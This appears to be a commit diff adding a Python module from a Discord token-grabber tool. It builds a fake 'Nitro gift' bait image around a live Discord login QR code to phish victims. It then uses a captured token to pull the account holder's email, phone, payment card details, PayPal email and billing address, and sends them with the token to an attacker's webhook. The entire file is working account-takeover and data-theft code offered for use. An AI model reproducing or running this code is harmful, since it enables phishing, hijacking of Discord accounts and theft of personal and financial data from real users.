Create discord_token.py

Co-authored-by: the-cult-of-integral <98130822+the-cult-of-integral@users.noreply.github.com>

discord_token.py

@@ -0,0 +1,196 @@
+import os
+import re
+from logging import ERROR
+
+from bs4 import BeautifulSoup
+from discord_webhook import DiscordEmbed, DiscordWebhook
+from discord_webhook.webhook_exceptions import ColorNotInRangeException
+from PIL import Image
+from requests import get
+
+from constants import (EMBED_AVATAR, EMBED_COLOR, EMBED_USERNAME, PAYMENT_CARD,
+                       PAYMENT_PAYPAL)
+from exceptions import InvalidToken, QRCodeNotFound, WebhookSendFailure
+from logger import log_unknown_exceptions
+
+
+class QRGrabber:
+    """The QRGrabber class is used to grab Discord tokens via QR codes.
+    """
+    __slots__ = ('resources_path')
+    def __init__(self, resources_path: str) -> None:
+        self.resources_path = resources_path
+
+    @log_unknown_exceptions(ERROR)
+    def get_qr_from_source(self, source: BeautifulSoup) -> str:
+        """Grabs the discord QR code from the source provided.
+        """
+        if not (div := re.search(r'qrCode-......', str(source))):
+            raise QRCodeNotFound(
+                'The QR code could not be found on the Discord login page — please try again or contact the developers.')
+        div = div.group(0)
+        div = source.find('div', {"class": f"{div}"})
+        qr_code = div.find('img')['src']
+        return qr_code
+
+    @log_unknown_exceptions(ERROR)
+    def generate_qr_for_template(self, path_1: str, path_2: str) -> None:
+        """Generates a QR code using the files in the resources directory.
+        \nThis QR code will be placed upon a Discord Nitro template to form a full bait image.
+        """
+        qr_img = Image.open(path_1, 'r')
+        ovly_img = Image.open(os.path.join(self.resources_path, 'overlay.png'), 'r')
+        qr_img.paste(ovly_img, (60, 55))
+        qr_img.save(path_2, quality=95)
+
+    @log_unknown_exceptions(ERROR)
+    def generate_nitro_template(self, path_2: str) -> None:
+        """Generates a Discord Nitro template using the files in the resources directory.
+        \nThis template will be used to form a full bait image after a QR code pasted on it.
+        """
+        nitro_template = Image.open(os.path.join(self.resources_path, 'template.png'), 'r')
+        nitro_template.paste(Image.open(path_2, 'r'), (120, 409))
+        nitro_template.save('discord_gift.png', quality=95)
+
+
+class TokenInfo:
+    """The TokenInfo class is used to get information from a Discord token and 
+    perform actions based on said information, such as sending the data to a webhook.
+    """
+    __slots__ = ('headers', 'token', 'id', 'username', 'discriminator', 
+                 'email', 'phone', 'mfa_enabled', 
+                 'has_nitro', 'payment_source', 'card_brand', 'card_last_4_digits', 
+                 'card_expiry_date', 'paypal_email', 'billing_name', 
+                 'address_1', 'address_2', 'country', 
+                 'state', 'city', 'postal_code')
+
+    @log_unknown_exceptions(ERROR)
+    def __init__(self, token: str) -> None:
+        self.headers = {"Authorization": token, "Content-Type": "application/json"}
+
+        if not self.check_token():
+            raise InvalidToken
+
+        std_response = get('https://discordapp.com/api/v6/users/@me', 
+                       headers=self.headers).json()
+
+        payment_response = get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", 
+                               headers=self.headers).json()
+
+        subscriptions_response = get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', 
+                                     headers=self.headers).json()
+
+        # Standard Data
+
+        self.token = token
+        self.id = std_response["id"]
+        self.username = std_response["username"]
+        self.discriminator = std_response["discriminator"]
+        self.email = std_response["email"]
+        self.phone = std_response["phone"]
+        self.mfa_enabled = 'enabled' if std_response["mfa_enabled"] else 'disabled'
+        self.has_nitro = bool(subscriptions_response)
+
+        # Personal Data 
+
+        # These fields are set to None here so that if bool(payment_response) is False, the
+        # fields will still be accessible by those who wish to use this class outside this
+        # project and will not throw any potential errors caused by their disappearance.
+
+        self.payment_source = None
+        self.card_brand = None
+        self.card_last_4_digits = None
+        self.card_expiry_date = None
+        self.paypal_email = None
+        self.billing_name = None
+        self.address_1 = None
+        self.address_2 = None
+        self.country = None
+        self.state = None
+        self.city = None
+        self.postal_code = None
+
+        if bool(payment_response):
+            for data in payment_response:
+                if data["type"] == 1 or data["type"] == 2:
+                    if data["type"] == 1:
+                        self.payment_source = PAYMENT_CARD
+                        self.card_brand = data["brand"]
+                        self.card_last_4_digits = data["last_4"]
+                        self.card_expiry_date = f'{data["expires_month"]}/{data["expires_year"]}'
+                    elif data["type"] == 2:
+                        self.payment_source = PAYMENT_PAYPAL
+                        self.paypal_email = data["email"]    
+                    self.billing_name = data["billing_address"]["name"]
+                    self.address_1 = data["billing_address"]["line_1"]
+                    self.address_2 = data["billing_address"]["line_2"]
+                    self.country = data["billing_address"]["country"]
+                    self.state = data["billing_address"]["state"]
+                    self.city = data["billing_address"]["city"]
+                    self.postal_code = data["billing_address"]["postal_code"]
+
+    @log_unknown_exceptions(ERROR)
+    def send_info_to_webhook(self, webhook_url: str) -> bool:
+        """Sends the token information to a webhook.
+        Args:
+            webhook_url (str): the URL of the webhook to send the data to.
+        Returns:
+            bool: returns True if the operation did not fail, otherwise returns False.
+        """
+        try:
+            webhook = DiscordWebhook(url=webhook_url, username=EMBED_USERNAME, avatar_url=EMBED_AVATAR)
+            embed = DiscordEmbed(color=EMBED_COLOR)
+
+            embed.add_embed_field(name='User Token Info', value=
+f""":crown:`Username:` **{self.username}#{self.discriminator}**
+:id:`User ID:` **{self.id}**
+:e_mail:`Mail:` **{self.email}**
+:mobile_phone:`Phone:` **{self.phone}**
+:money_with_wings:`Nitro:` **{':white_check_mark:' if self.has_nitro else ':x:'}**""", inline=False)
+
+            if self.billing_name is not None:
+                if self.payment_source == PAYMENT_CARD:
+
+                    embed.add_embed_field(name='Payment Info (Debit or Credit Card)', value=
+f""":credit_card:`Brand:` ||**{self.card_brand}**||
+:information_source:`Last 4:` ||**{self.card_last_4_digits}**||
+:date:`Expiration:` ||**{self.card_expiry_date}**||""")
+
+                elif self.payment_source == PAYMENT_PAYPAL:
+                    embed.add_embed_field(name='Payment Info (Paypal)', value=
+f':incoming_envelope:`Paypal Mail:` ||**{self.paypal_email}**||')
+
+                embed.add_embed_field(name='Billing Address', value=
+f"""***Billing Adress:***
+:name_badge:`Name:` ||**{self.billing_name}**||
+:paperclip:`Line 1:` ||**{self.address_1}**||
+:paperclips:`Line 2:` ||**{self.address_2}**||
+:flag_white:`Country:` ||**{self.country}**||
+:triangular_flag_on_post:`State:` ||**{self.state}**||
+:cityscape:`City:` ||**{self.state}**||
+:postbox:`Postal Code:` ||**{self.postal_code}**||
+""", inline=False)
+
+            else:
+                embed.add_embed_field(name='Payment Info (:x:)', value='**No Payment Info Founded.**\n', inline=False)
+
+            embed.add_embed_field(name='Token', value=f"```yaml\n{self.token}\n```", inline=False)
+            embed.set_footer(text='By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0', inline=False)
+            webhook.add_embed(embed)
+            webhook.execute()
+            return True
+        except ColorNotInRangeException as e:
+            raise WebhookSendFailure(f'Failed to send the token information webhook: {e}')
+
+    @log_unknown_exceptions(ERROR)
+    def check_token(self) -> bool:
+        """Returns True if the discord API responds with status code 200 to a token.
+        """
+        response = get('https://discord.com/api/v6/users/@me', headers=self.headers)
+        if response.status_code == 200:
+            return True
+        else:
+            return False
+
+    def __repr__(self) -> str:
+        return self.__dir__()